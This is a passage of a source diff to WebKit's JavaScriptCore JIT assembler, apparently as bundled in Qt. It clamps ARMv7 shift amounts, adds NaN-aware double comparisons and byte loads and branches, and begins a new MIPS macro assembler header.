         Zero = ARMv7Assembler::ConditionEQ,
         NonZero = ARMv7Assembler::ConditionNE
     };
-
     enum DoubleCondition {
+        // These conditions will only evaluate to true if the comparison is ordered - i.e. neither operand is NaN.
         DoubleEqual = ARMv7Assembler::ConditionEQ,
+        DoubleNotEqual = ARMv7Assembler::ConditionVC, // Not the right flag! check for this & handle differently.
         DoubleGreaterThan = ARMv7Assembler::ConditionGT,
         DoubleGreaterThanOrEqual = ARMv7Assembler::ConditionGE,
         DoubleLessThan = ARMv7Assembler::ConditionLO,
         DoubleLessThanOrEqual = ARMv7Assembler::ConditionLS,
+        // If either operand is NaN, these conditions always evaluate to true.
+        DoubleEqualOrUnordered = ARMv7Assembler::ConditionVS, // Not the right flag! check for this & handle differently.
+        DoubleNotEqualOrUnordered = ARMv7Assembler::ConditionNE,
+        DoubleGreaterThanOrUnordered = ARMv7Assembler::ConditionHI,
+        DoubleGreaterThanOrEqualOrUnordered = ARMv7Assembler::ConditionHS,
+        DoubleLessThanOrUnordered = ARMv7Assembler::ConditionLT,
+        DoubleLessThanOrEqualOrUnordered = ARMv7Assembler::ConditionLE,
     };
 
     static const RegisterID stackPointerRegister = ARMRegisters::sp;
@@ -189,14 +196,19 @@ public:
         }
     }
 
-    void lshift32(Imm32 imm, RegisterID dest)
+    void lshift32(RegisterID shift_amount, RegisterID dest)
     {
-        m_assembler.lsl(dest, dest, imm.m_value);
+        // Clamp the shift to the range 0..31
+        ARMThumbImmediate armImm = ARMThumbImmediate::makeEncodedImm(0x1f);
+        ASSERT(armImm.isValid());
+        m_assembler.ARM_and(dataTempRegister, shift_amount, armImm);
+
+        m_assembler.lsl(dest, dest, dataTempRegister);
     }
 
-    void lshift32(RegisterID shift_amount, RegisterID dest)
+    void lshift32(Imm32 imm, RegisterID dest)
     {
-        m_assembler.lsl(dest, dest, shift_amount);
+        m_assembler.lsl(dest, dest, imm.m_value & 0x1f);
     }
 
     void mul32(RegisterID src, RegisterID dest)
@@ -233,12 +245,17 @@ public:
 
     void rshift32(RegisterID shift_amount, RegisterID dest)
     {
-        m_assembler.asr(dest, dest, shift_amount);
+        // Clamp the shift to the range 0..31
+        ARMThumbImmediate armImm = ARMThumbImmediate::makeEncodedImm(0x1f);
+        ASSERT(armImm.isValid());
+        m_assembler.ARM_and(dataTempRegister, shift_amount, armImm);
+
+        m_assembler.asr(dest, dest, dataTempRegister);
     }
 
     void rshift32(Imm32 imm, RegisterID dest)
     {
-        m_assembler.asr(dest, dest, imm.m_value);
+        m_assembler.asr(dest, dest, imm.m_value & 0x1f);
     }
 
     void sub32(RegisterID src, RegisterID dest)
@@ -350,6 +367,20 @@ private:
         }
     }
 
+    void load8(ArmAddress address, RegisterID dest)
+    {
+        if (address.type == ArmAddress::HasIndex)
+            m_assembler.ldrb(dest, address.base, address.u.index, address.u.scale);
+        else if (address.u.offset >= 0) {
+            ARMThumbImmediate armImm = ARMThumbImmediate::makeUInt12(address.u.offset);
+            ASSERT(armImm.isValid());
+            m_assembler.ldrb(dest, address.base, armImm);
+        } else {
+            ASSERT(address.u.offset >= -255);
+            m_assembler.ldrb(dest, address.base, address.u.offset, true, false);
+        }
+    }
+
     void store32(RegisterID src, ArmAddress address)
     {
         if (address.type == ArmAddress::HasIndex)
@@ -386,6 +417,11 @@ public:
         m_assembler.ldr(dest, addressTempRegister, ARMThumbImmediate::makeUInt16(0));
     }
 
+    void load8(ImplicitAddress address, RegisterID dest)
+    {
+        load8(setupArmAddress(address), dest);
+    }
+
     DataLabel32 load32WithAddressOffsetPatch(Address address, RegisterID dest)
     {
         DataLabel32 label = moveWithPatch(Imm32(address.offset), dataTempRegister);
@@ -531,6 +567,23 @@ public:
     {
         m_assembler.vcmp_F64(left, right);
         m_assembler.vmrs_APSR_nzcv_FPSCR();
+
+        if (cond == DoubleNotEqual) {
+            // ConditionNE jumps if NotEqual *or* unordered - force the unordered cases not to jump.
+            Jump unordered = makeBranch(ARMv7Assembler::ConditionVS);
+            Jump result = makeBranch(ARMv7Assembler::ConditionNE);
+            unordered.link(this);
+            return result;
+        }
+        if (cond == DoubleEqualOrUnordered) {
+            Jump unordered = makeBranch(ARMv7Assembler::ConditionVS);
+            Jump notEqual = makeBranch(ARMv7Assembler::ConditionNE);
+            unordered.link(this);
+            // We get here if either unordered, or equal.
+            Jump result = makeJump();
+            notEqual.link(this);
+            return result;
+        }
         return makeBranch(cond);
     }
 
@@ -758,6 +811,19 @@ public:
         return branch32(cond, addressTempRegister, Imm32(right.m_value << 16));
     }
 
+    Jump branch8(Condition cond, RegisterID left, Imm32 right)
+    {
+        compare32(left, right);
+        return Jump(makeBranch(cond));
+    }
+
+    Jump branch8(Condition cond, Address left, Imm32 right)
+    {
+        // use addressTempRegister incase the branch8 we call uses dataTempRegister. :-/
+        load8(left, addressTempRegister);
+        return branch8(cond, addressTempRegister, right);
+    }
+
     Jump branchTest32(Condition cond, RegisterID reg, RegisterID mask)
     {
         ASSERT((cond == Zero) || (cond == NonZero));
@@ -788,6 +854,21 @@ public:
         return branchTest32(cond, addressTempRegister, mask);
     }
 
+    Jump branchTest8(Condition cond, RegisterID reg, Imm32 mask = Imm32(-1))
+    {
+        ASSERT((cond == Zero) || (cond == NonZero));
+        test32(reg, mask);
+        return Jump(makeBranch(cond));
+    }
+
+    Jump branchTest8(Condition cond, Address address, Imm32 mask = Imm32(-1))
+    {
+        ASSERT((cond == Zero) || (cond == NonZero));
+        // use addressTempRegister incase the branchTest8 we call uses dataTempRegister. :-/
+        load8(address, addressTempRegister);
+        return branchTest8(cond, addressTempRegister, mask);
+    }
+
     Jump jump()
     {
         return Jump(makeJump());
@@ -938,6 +1019,14 @@ public:
         m_assembler.mov(dest, ARMThumbImmediate::makeUInt16(0));
     }
 
+    void setTest8(Condition cond, Address address, Imm32 mask, RegisterID dest)
+    {
+        load8(address, dataTempRegister);
+        test32(dataTempRegister, mask);
+        m_assembler.it(armV7Condition(cond), false);
+        m_assembler.mov(dest, ARMThumbImmediate::makeUInt16(1));
+        m_assembler.mov(dest, ARMThumbImmediate::makeUInt16(0));
+    }
 
     DataLabel32 moveWithPatch(Imm32 imm, RegisterID dst)
     {
diff --git a/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerCodeRef.h b/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerCodeRef.h
index 3681af8..543b0fa 100644
--- a/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerCodeRef.h
+++ b/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerCodeRef.h
@@ -26,8 +26,6 @@
 #ifndef MacroAssemblerCodeRef_h
 #define MacroAssemblerCodeRef_h
 
-#include <wtf/Platform.h>
-
 #include "ExecutableAllocator.h"
 #include "PassRefPtr.h"
 #include "RefPtr.h"
@@ -37,7 +35,7 @@
 
 // ASSERT_VALID_CODE_POINTER checks that ptr is a non-null pointer, and that it is a valid
 // instruction address on the platform (for example, check any alignment requirements).
-#if PLATFORM(ARM_THUMB2)
+#if CPU(ARM_THUMB2)
 // ARM/thumb instructions must be 16-bit aligned, but all code pointers to be loaded
 // into the processor are decorated with the bottom bit set, indicating that this is
 // thumb code (as oposed to 32-bit traditional ARM).  The first test checks for both
@@ -130,7 +128,7 @@ public:
     }
 
     explicit MacroAssemblerCodePtr(void* value)
-#if PLATFORM(ARM_THUMB2)
+#if CPU(ARM_THUMB2)
         // Decorate the pointer as a thumb code pointer.
         : m_value(reinterpret_cast<char*>(value) + 1)
 #else
@@ -147,7 +145,7 @@ public:
     }
 
     void* executableAddress() const { return m_value; }
-#if PLATFORM(ARM_THUMB2)
+#if CPU(ARM_THUMB2)
     // To use this pointer as a data address remove the decoration.
     void* dataLocation() const { ASSERT_VALID_CODE_POINTER(m_value); return reinterpret_cast<char*>(m_value) - 1; }
 #else
diff --git a/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerMIPS.h b/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerMIPS.h
new file mode 100644
index 0000000..27e30fc
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerMIPS.h
@@ -0,0 +1,1658 @@
+/*
+ * Copyright (C) 2008 Apple Inc. All rights reserved.
+ * Copyright (C) 2010 MIPS Technologies, Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY MIPS TECHNOLOGIES, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL MIPS TECHNOLOGIES, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef MacroAssemblerMIPS_h
+#define MacroAssemblerMIPS_h
+
+#if ENABLE(ASSEMBLER) && CPU(MIPS)
+
+#include "AbstractMacroAssembler.h"
+#include "MIPSAssembler.h"
+
+namespace JSC {
+
+class MacroAssemblerMIPS : public AbstractMacroAssembler<MIPSAssembler> {
+public:
+
+    MacroAssemblerMIPS()
+        : m_fixedWidth(false)
+    {
+    }
+
+    static const Scale ScalePtr = TimesFour;
+
+    // For storing immediate number
+    static const RegisterID immTempRegister = MIPSRegisters::t0;
+    // For storing data loaded from the memory
+    static const RegisterID dataTempRegister = MIPSRegisters::t1;
+    // For storing address base
+    static const RegisterID addrTempRegister = MIPSRegisters::t2;
+    // For storing compare result
+    static const RegisterID cmpTempRegister = MIPSRegisters::t3;
+
+    // FP temp register
+    static const FPRegisterID fpTempRegister = MIPSRegisters::f16;
+
+    enum Condition {
+        Equal,
+        NotEqual,
+        Above,
+        AboveOrEqual,
+        Below,
+        BelowOrEqual,
+        GreaterThan,
+        GreaterThanOrEqual,
+        LessThan,
+        LessThanOrEqual,
+        Overflow,
+        Signed,
+        Zero,
+        NonZero
+    };
+
+    enum DoubleCondition {
+        DoubleEqual,
+        DoubleNotEqual,
+        DoubleGreaterThan,
+        DoubleGreaterThanOrEqual,
+        DoubleLessThan,
+        DoubleLessThanOrEqual,
+        DoubleEqualOrUnordered,
+        DoubleNotEqualOrUnordered,
+        DoubleGreaterThanOrUnordered,
+        DoubleGreaterThanOrEqualOrUnordered,
+        DoubleLessThanOrUnordered,
+        DoubleLessThanOrEqualOrUnordered
+    };
+
+    static const RegisterID stackPointerRegister = MIPSRegisters::sp;
+    static const RegisterID returnAddressRegister = MIPSRegisters::ra;
+
+    // Integer arithmetic operations:
+    //
+    // Operations are typically two operand - operation(source, srcDst)
+    // For many operations the source may be an Imm32, the srcDst operand
+    // may often be a memory location (explictly described using an Address
+    // object).
+
+    void add32(RegisterID src, RegisterID dest)
+    {
+        m_assembler.addu(dest, dest, src);
+    }
+
+    void add32(Imm32 imm, RegisterID dest)
+    {
+        add32(imm, dest, dest);
+    }
+
+    void add32(Imm32 imm, RegisterID src, RegisterID dest)
+    {
+        if (!imm.m_isPointer && imm.m_value >= -32768 && imm.m_value <= 32767
+            && !m_fixedWidth) {
+            /*
+              addiu     dest, src, imm
+            */
+            m_assembler.addiu(dest, src, imm.m_value);
+        } else {
+            /*
+              li        immTemp, imm
+              addu      dest, src, immTemp
+            */
+            move(imm, immTempRegister);
+            m_assembler.addu(dest, src, immTempRegister);
+        }
+    }
+
+    void add32(Imm32 imm, Address address)
+    {
+        if (address.offset >= -32768 && address.offset <= 32767
+            && !m_fixedWidth) {
+            /*
+              lw        dataTemp, offset(base)
+              li        immTemp, imm
+              addu      dataTemp, dataTemp, immTemp
+              sw        dataTemp, offset(base)
+            */
+            m_assembler.lw(dataTempRegister, address.base, address.offset);
+            if (!imm.m_isPointer
+                && imm.m_value >= -32768 && imm.m_value <= 32767
+                && !m_fixedWidth)
+                m_assembler.addiu(dataTempRegister, dataTempRegister,
+                                  imm.m_value);
+            else {
+                move(imm, immTempRegister);
+                m_assembler.addu(dataTempRegister, dataTempRegister,
+                                 immTempRegister);
+            }
+            m_assembler.sw(dataTempRegister, address.base, address.offset);
+        } else {
+            /*
+              lui       addrTemp, (offset + 0x8000) >> 16
+              addu      addrTemp, addrTemp, base
+              lw        dataTemp, (offset & 0xffff)(addrTemp)
+              li        immtemp, imm
+              addu      dataTemp, dataTemp, immTemp
+              sw        dataTemp, (offset & 0xffff)(addrTemp)
+            */
+            m_assembler.lui(addrTempRegister, (address.offset + 0x8000) >> 16);
+            m_assembler.addu(addrTempRegister, addrTempRegister, address.base);
+            m_assembler.lw(dataTempRegister, addrTempRegister, address.offset);
+
+            if (imm.m_value >= -32768 && imm.m_value <= 32767 && !m_fixedWidth)
+                m_assembler.addiu(dataTempRegister, dataTempRegister,
+                                  imm.m_value);
+            else {
+                move(imm, immTempRegister);
+                m_assembler.addu(dataTempRegister, dataTempRegister,
+                                 immTempRegister);
+            }
+            m_assembler.sw(dataTempRegister, addrTempRegister, address.offset);
+        }
+    }
+
+    void add32(Address src, RegisterID dest)
+    {
+        load32(src, dataTempRegister);
+        add32(dataTempRegister, dest);
+    }
+
+    void add32(RegisterID src, Address dest)
+    {
+        if (dest.offset >= -32768 && dest.offset <= 32767 && !m_fixedWidth) {
+            /*
+              lw        dataTemp, offset(base)
+              addu      dataTemp, dataTemp, src
+              sw        dataTemp, offset(base)
+            */
+            m_assembler.lw(dataTempRegister, dest.base, dest.offset);
+            m_assembler.addu(dataTempRegister, dataTempRegister, src);
+            m_assembler.sw(dataTempRegister, dest.base, dest.offset);
+        } else {
+            /*
+              lui       addrTemp, (offset + 0x8000) >> 16
+              addu      addrTemp, addrTemp, base
+              lw        dataTemp, (offset & 0xffff)(addrTemp)
+              addu      dataTemp, dataTemp, src
+              sw        dataTemp, (offset & 0xffff)(addrTemp)
+            */
+            m_assembler.lui(addrTempRegister, (dest.offset + 0x8000) >> 16);
+            m_assembler.addu(addrTempRegister, addrTempRegister, dest.base);
+            m_assembler.lw(dataTempRegister, addrTempRegister, dest.offset);
+            m_assembler.addu(dataTempRegister, dataTempRegister, src);
+            m_assembler.sw(dataTempRegister, addrTempRegister, dest.offset);
+        }
+    }
+
+    void add32(Imm32 imm, AbsoluteAddress address)
+    {
+        /*
+           li   addrTemp, address
+           li   immTemp, imm
+           lw   dataTemp, 0(addrTemp)
+           addu dataTemp, dataTemp, immTemp
+           sw   dataTemp, 0(addrTemp)
+        */
+        move(ImmPtr(address.m_ptr), addrTempRegister);
+        m_assembler.lw(dataTempRegister, addrTempRegister, 0);
+        if (!imm.m_isPointer && imm.m_value >= -32768 && imm.m_value <= 32767
+            && !m_fixedWidth)
+            m_assembler.addiu(dataTempRegister, dataTempRegister, imm.m_value);
+        else {
+            move(imm, immTempRegister);
+            m_assembler.addu(dataTempRegister, dataTempRegister, immTempRegister);
+        }
+        m_assembler.sw(dataTempRegister, addrTempRegister, 0);
+    }
+
+    void and32(RegisterID src, RegisterID dest)
+    {
+        m_assembler.andInsn(dest, dest, src);
+    }
+
+    void and32(Imm32 imm, RegisterID dest)
+    {
+        if (!imm.m_isPointer && !imm.m_value && !m_fixedWidth)
+            move(MIPSRegisters::zero, dest);
+        else if (!imm.m_isPointer && imm.m_value > 0 && imm.m_value < 65535
+                 && !m_fixedWidth)
+            m_assembler.andi(dest, dest, imm.m_value);
+        else {
+            /*
+              li        immTemp, imm
+              and       dest, dest, immTemp
+            */
+            move(imm, immTempRegister);
+            m_assembler.andInsn(dest, dest, immTempRegister);
+        }
+    }
+
+    void lshift32(Imm32 imm, RegisterID dest)
+    {
+        m_assembler.sll(dest, dest, imm.m_value);
+    }
+
+    void lshift32(RegisterID shiftAmount, RegisterID dest)
+    {
+        m_assembler.sllv(dest, dest, shiftAmount);
+    }
+
+    void mul32(RegisterID src, RegisterID dest)
+    {
+        m_assembler.mul(dest, dest, src);
+    }
+
+    void mul32(Imm32 imm, RegisterID src, RegisterID dest)
+    {
+        if (!imm.m_isPointer && !imm.m_value && !m_fixedWidth)
+            move(MIPSRegisters::zero, dest);
+        else if (!imm.m_isPointer && imm.m_value == 1 && !m_fixedWidth)
+            move(src, dest);
+        else {
+            /*
+                li      dataTemp, imm
+                mul     dest, src, dataTemp
+            */
+            move(imm, dataTempRegister);
+            m_assembler.mul(dest, src, dataTempRegister);
+        }
+    }
+
+    void not32(RegisterID srcDest)
+    {
+        m_assembler.nor(srcDest, srcDest, MIPSRegisters::zero);
+    }
+
+    void or32(RegisterID src, RegisterID dest)
+    {
+        m_assembler.orInsn(dest, dest, src);
+    }
+
+    void or32(Imm32 imm, RegisterID dest)
+    {
+        if (!imm.m_isPointer && !imm.m_value && !m_fixedWidth)
+            return;
+
+        if (!imm.m_isPointer && imm.m_value > 0 && imm.m_value < 65535
+            && !m_fixedWidth) {
+            m_assembler.ori(dest, dest, imm.m_value);
+            return;
+        }
+
+        /*
+            li      dataTemp, imm
+            or      dest, dest, dataTemp
+        */
+        move(imm, dataTempRegister);
+        m_assembler.orInsn(dest, dest, dataTempRegister);
+    }
+
+    void rshift32(RegisterID shiftAmount, RegisterID dest)
+    {
+        m_assembler.srav(dest, dest, shiftAmount);
+    }
+
+    void rshift32(Imm32 imm, RegisterID dest)
+    {
+        m_assembler.sra(dest, dest, imm.m_value);
+    }
+
+    void sub32(RegisterID src, RegisterID dest)
+    {
+        m_assembler.subu(dest, dest, src);
+    }
+
+    void sub32(Imm32 imm, RegisterID dest)
+    {
+        if (!imm.m_isPointer && imm.m_value >= -32767 && imm.m_value <= 32768
+            && !m_fixedWidth) {
+            /*
+              addiu     dest, src, imm
+            */
+            m_assembler.addiu(dest, dest, -imm.m_value);
+        } else {
+            /*
+              li        immTemp, imm
+              subu      dest, src, immTemp
+            */
+            move(imm, immTempRegister);
+            m_assembler.subu(dest, dest, immTempRegister);
+        }
+    }
+
+    void sub32(Imm32 imm, Address address)
+    {
+        if (address.offset >= -32768 && address.offset <= 32767
+            && !m_fixedWidth) {
+            /*
+              lw        dataTemp, offset(base)
+              li        immTemp, imm
+              subu      dataTemp, dataTemp, immTemp
+              sw        dataTemp, offset(base)
+            */
+            m_assembler.lw(dataTempRegister, address.base, address.offset);
+            if (!imm.m_isPointer
+                && imm.m_value >= -32767 && imm.m_value <= 32768
+                && !m_fixedWidth)
+                m_assembler.addiu(dataTempRegister, dataTempRegister,
+                                  -imm.m_value);
+            else {
+                move(imm, immTempRegister);
+                m_assembler.subu(dataTempRegister, dataTempRegister,
+                                 immTempRegister);
+            }
+            m_assembler.sw(dataTempRegister, address.base, address.offset);
+        } else {
+            /*
+              lui       addrTemp, (offset + 0x8000) >> 16
+              addu      addrTemp, addrTemp, base
+              lw        dataTemp, (offset & 0xffff)(addrTemp)
+              li        immtemp, imm
+              subu      dataTemp, dataTemp, immTemp
+              sw        dataTemp, (offset & 0xffff)(addrTemp)
+            */
+            m_assembler.lui(addrTempRegister, (address.offset + 0x8000) >> 16);
+            m_assembler.addu(addrTempRegister, addrTempRegister, address.base);
+            m_assembler.lw(dataTempRegister, addrTempRegister, address.offset);
+
+            if (!imm.m_isPointer
+                && imm.m_value >= -32767 && imm.m_value <= 32768
+                && !m_fixedWidth)
+                m_assembler.addiu(dataTempRegister, dataTempRegister,
+                                  -imm.m_value);
+            else {
+                move(imm, immTempRegister);
+                m_assembler.subu(dataTempRegister, dataTempRegister,
+                                 immTempRegister);
+            }
+            m_assembler.sw(dataTempRegister, addrTempRegister, address.offset);
+        }
+    }
+
+    void sub32(Address src, RegisterID dest)
+    {
+        load32(src, dataTempRegister);
+        sub32(dataTempRegister, dest);
+    }
+
+    void sub32(Imm32 imm, AbsoluteAddress address)
+    {
+        /*
+           li   addrTemp, address
+           li   immTemp, imm
+           lw   dataTemp, 0(addrTemp)
+           subu dataTemp, dataTemp, immTemp
+           sw   dataTemp, 0(addrTemp)
+        */
+        move(ImmPtr(address.m_ptr), addrTempRegister);
+        m_assembler.lw(dataTempRegister, addrTempRegister, 0);
+
+        if (!imm.m_isPointer && imm.m_value >= -32767 && imm.m_value <= 32768
+            && !m_fixedWidth) {
+            m_assembler.addiu(dataTempRegister, dataTempRegister,
+                              -imm.m_value);
+        } else {
+            move(imm, immTempRegister);
+            m_assembler.subu(dataTempRegister, dataTempRegister, immTempRegister);
+        }
+        m_assembler.sw(dataTempRegister, addrTempRegister, 0);
+    }
+
+    void xor32(RegisterID src, RegisterID dest)
+    {
+        m_assembler.xorInsn(dest, dest, src);
+    }
+
+    void xor32(Imm32 imm, RegisterID dest)
+    {
+        /*
+            li  immTemp, imm
+            xor dest, dest, immTemp
+        */
+        move(imm, immTempRegister);
+        m_assembler.xorInsn(dest, dest, immTempRegister);
+    }
+
+    // Memory access operations:
+    //
+    // Loads are of the form load(address, destination) and stores of the form
+    // store(source, address).  The source for a store may be an Imm32.  Address
+    // operand objects to loads and store will be implicitly constructed if a
+    // register is passed.
+
+    void load32(ImplicitAddress address, RegisterID dest)
+    {
+        if (address.offset >= -32768 && address.offset <= 32767
+            && !m_fixedWidth)
+            m_assembler.lw(dest, address.base, address.offset);
+        else {
+            /*
+                lui     addrTemp, (offset + 0x8000) >> 16
+                addu    addrTemp, addrTemp, base
+                lw      dest, (offset & 0xffff)(addrTemp)
+              */
+            m_assembler.lui(addrTempRegister, (address.offset + 0x8000) >> 16);
+            m_assembler.addu(addrTempRegister, addrTempRegister, address.base);
+            m_assembler.lw(dest, addrTempRegister, address.offset);
+        }
+    }
+
+    void load32(BaseIndex address, RegisterID dest)
+    {
+        if (address.offset >= -32768 && address.offset <= 32767
+            && !m_fixedWidth) {
+            /*
+                sll     addrTemp, address.index, address.scale
+                addu    addrTemp, addrTemp, address.base
+                lw      dest, address.offset(addrTemp)
+            */
+            m_assembler.sll(addrTempRegister, address.index, address.scale);
+            m_assembler.addu(addrTempRegister, addrTempRegister, address.base);
+            m_assembler.lw(dest, addrTempRegister, address.offset);
+        } else {
+            /*
+                sll     addrTemp, address.index, address.scale
+                addu    addrTemp, addrTemp, address.base
+                lui     immTemp, (address.offset + 0x8000) >> 16
+                addu    addrTemp, addrTemp, immTemp
+                lw      dest, (address.offset & 0xffff)(at)
+            */
+            m_assembler.sll(addrTempRegister, address.index, address.scale);
+            m_assembler.addu(addrTempRegister, addrTempRegister, address.base);
+            m_assembler.lui(immTempRegister, (address.offset + 0x8000) >> 16);
+            m_assembler.addu(addrTempRegister, addrTempRegister,
+                             immTempRegister);
+            m_assembler.lw(dest, addrTempRegister, address.offset);
+        }
+    }
+
+    void load32WithUnalignedHalfWords(BaseIndex address, RegisterID dest)
+    {
+        if (address.offset >= -32768 && address.offset <= 32764
+            && !m_fixedWidth) {
+            /*
+                sll     addrTemp, address.index, address.scale
+                addu    addrTemp, addrTemp, address.base
+                (Big-Endian)
+                lwl     dest, address.offset(addrTemp)
+                lwr     dest, address.offset+3(addrTemp)
+                (Little-Endian)
+                lwl     dest, address.offset+3(addrTemp)
+                lwr     dest, address.offset(addrTemp)
+            */
+            m_assembler.sll(addrTempRegister, address.index, address.scale);
+            m_assembler.addu(addrTempRegister, addrTempRegister, address.base);
+#if CPU(BIG_ENDIAN)
+            m_assembler.lwl(dest, addrTempRegister, address.offset);
+            m_assembler.lwr(dest, addrTempRegister, address.offset + 3);
+#else
+            m_assembler.lwl(dest, addrTempRegister, address.offset + 3);
+            m_assembler.lwr(dest, addrTempRegister, address.offset);
+
+#endif
+        } else {
+            /*
+                sll     addrTemp, address.index, address.scale
+                addu    addrTemp, addrTemp, address.base
+                lui     immTemp, address.offset >> 16
+                ori     immTemp, immTemp, address.offset & 0xffff
+                addu    addrTemp, addrTemp, immTemp
+                (Big-Endian)
+                lw      dest, 0(at)
+                lw      dest, 3(at)
+                (Little-Endian)
+                lw      dest, 3(at)
+                lw      dest, 0(at)
+            */
+            m_assembler.sll(addrTempRegister, address.index, address.scale);
+            m_assembler.addu(addrTempRegister, addrTempRegister, address.base);
+            m_assembler.lui(immTempRegister, address.offset >> 16);
+            m_assembler.ori(immTempRegister, immTempRegister, address.offset);
+            m_assembler.addu(addrTempRegister, addrTempRegister,
+                             immTempRegister);
+#if CPU(BIG_ENDIAN)
+            m_assembler.lwl(dest, addrTempRegister, 0);
+            m_assembler.lwr(dest, addrTempRegister, 3);
+#else
+            m_assembler.lwl(dest, addrTempRegister, 3);
+            m_assembler.lwr(dest, addrTempRegister, 0);
+#endif
+        }
+    }
+
+    void load32(void* address, RegisterID dest)
+    {
+        /*
+            li  addrTemp, address
+            lw  dest, 0(addrTemp)
+        */
+        move(ImmPtr(address), addrTempRegister);
+        m_assembler.lw(dest, addrTempRegister, 0);
+    }
+
+    DataLabel32 load32WithAddressOffsetPatch(Address address, RegisterID dest)
+    {
+        m_fixedWidth = true;
+        /*
+            lui addrTemp, address.offset >> 16
+            ori addrTemp, addrTemp, address.offset & 0xffff
+            addu        addrTemp, addrTemp, address.base
+            lw  dest, 0(addrTemp)
+        */
+        DataLabel32 dataLabel(this);
+        move(Imm32(address.offset), addrTempRegister);
+        m_assembler.addu(addrTempRegister, addrTempRegister, address.base);
+        m_assembler.lw(dest, addrTempRegister, 0);
+        m_fixedWidth = false;
+        return dataLabel;
+    }
+
+    Label loadPtrWithPatchToLEA(Address address, RegisterID dest)
+    {
+        m_fixedWidth = true;
+        /*
+            lui         addrTemp, address.offset >> 16
+            ori         addrTemp, addrTemp, address.offset & 0xffff
+            addu        addrTemp, addrTemp, address.base
+            lw          dest, 0(addrTemp)
+        */
+        Label label(this);
+        move(Imm32(address.offset), addrTempRegister);
+        m_assembler.addu(addrTempRegister, addrTempRegister, address.base);
+        m_assembler.lw(dest, addrTempRegister, 0);
+        m_fixedWidth = false;
+        return label;
+    }
+
+    Label loadPtrWithAddressOffsetPatch(Address address, RegisterID dest)
+    {
+        return loadPtrWithPatchToLEA(address, dest);
+    }
+
+    /* Need to use zero-extened load half-word for load16.  */
+    void load16(BaseIndex address, RegisterID dest)
+    {
+        if (address.offset >= -32768 && address.offset <= 32767
+            && !m_fixedWidth) {
+            /*
+                sll     addrTemp, address.index, address.scale
+                addu    addrTemp, addrTemp, address.base
+                lhu     dest, address.offset(addrTemp)
+            */
+            m_assembler.sll(addrTempRegister, address.index, address.scale);
+            m_assembler.addu(addrTempRegister, addrTempRegister, address.base);
+            m_assembler.lhu(dest, addrTempRegister, address.offset);
+        } else {
+            /*
+                sll     addrTemp, address.index, address.scale
+                addu    addrTemp, addrTemp, address.base
+                lui     immTemp, (address.offset + 0x8000) >> 16
+                addu    addrTemp, addrTemp, immTemp
+                lhu     dest, (address.offset & 0xffff)(addrTemp)
+            */
+            m_assembler.sll(addrTempRegister, address.index, address.scale);
+            m_assembler.addu(addrTempRegister, addrTempRegister, address.base);
+            m_assembler.lui(immTempRegister, (address.offset + 0x8000) >> 16);
+            m_assembler.addu(addrTempRegister, addrTempRegister,
+                             immTempRegister);
+            m_assembler.lhu(dest, addrTempRegister, address.offset);
+        }
+    }
+
+    DataLabel32 store32WithAddressOffsetPatch(RegisterID src, Address address)
+    {
+        m_fixedWidth = true;
+        /*
+            lui addrTemp, address.offset >> 16
+            ori addrTemp, addrTemp, address.offset & 0xffff
+            addu        addrTemp, addrTemp, address.base
+            sw  src, 0(addrTemp)
+        */
+        DataLabel32 dataLabel(this);
+        move(Imm32(address.offset), addrTempRegister);
+        m_assembler.addu(addrTempRegister, addrTempRegister, address.base);
+        m_assembler.sw(src, addrTempRegister, 0);
+        m_fixedWidth = false;
+        return dataLabel;
+    }
+
+    void store32(RegisterID src, ImplicitAddress address)
+    {
+        if (address.offset >= -32768 && address.offset <= 32767
+            && !m_fixedWidth)
+            m_assembler.sw(src, address.base, address.offset);
+        else {
+            /*
+                lui     addrTemp, (offset + 0x8000) >> 16
+                addu    addrTemp, addrTemp, base
+                sw      src, (offset & 0xffff)(addrTemp)
+              */
+            m_assembler.lui(addrTempRegister, (address.offset + 0x8000) >> 16);
+            m_assembler.addu(addrTempRegister, addrTempRegister, address.base);
+            m_assembler.sw(src, addrTempRegister, address.offset);
+        }
+    }
+
+    void store32(RegisterID src, BaseIndex address)
+    {
+        if (address.offset >= -32768 && address.offset <= 32767
+            && !m_fixedWidth) {
+            /*
+                sll     addrTemp, address.index, address.scale
+                addu    addrTemp, addrTemp, address.base
+                sw      src, address.offset(addrTemp)
+            */
+            m_assembler.sll(addrTempRegister, address.index, address.scale);
+            m_assembler.addu(addrTempRegister, addrTempRegister, address.base);
+            m_assembler.sw(src, addrTempRegister, address.offset);
+        } else {
+            /*
+                sll     addrTemp, address.index, address.scale
+                addu    addrTemp, addrTemp, address.base
+                lui     immTemp, (address.offset + 0x8000) >> 16
+                addu    addrTemp, addrTemp, immTemp
+                sw      src, (address.offset & 0xffff)(at)
+            */
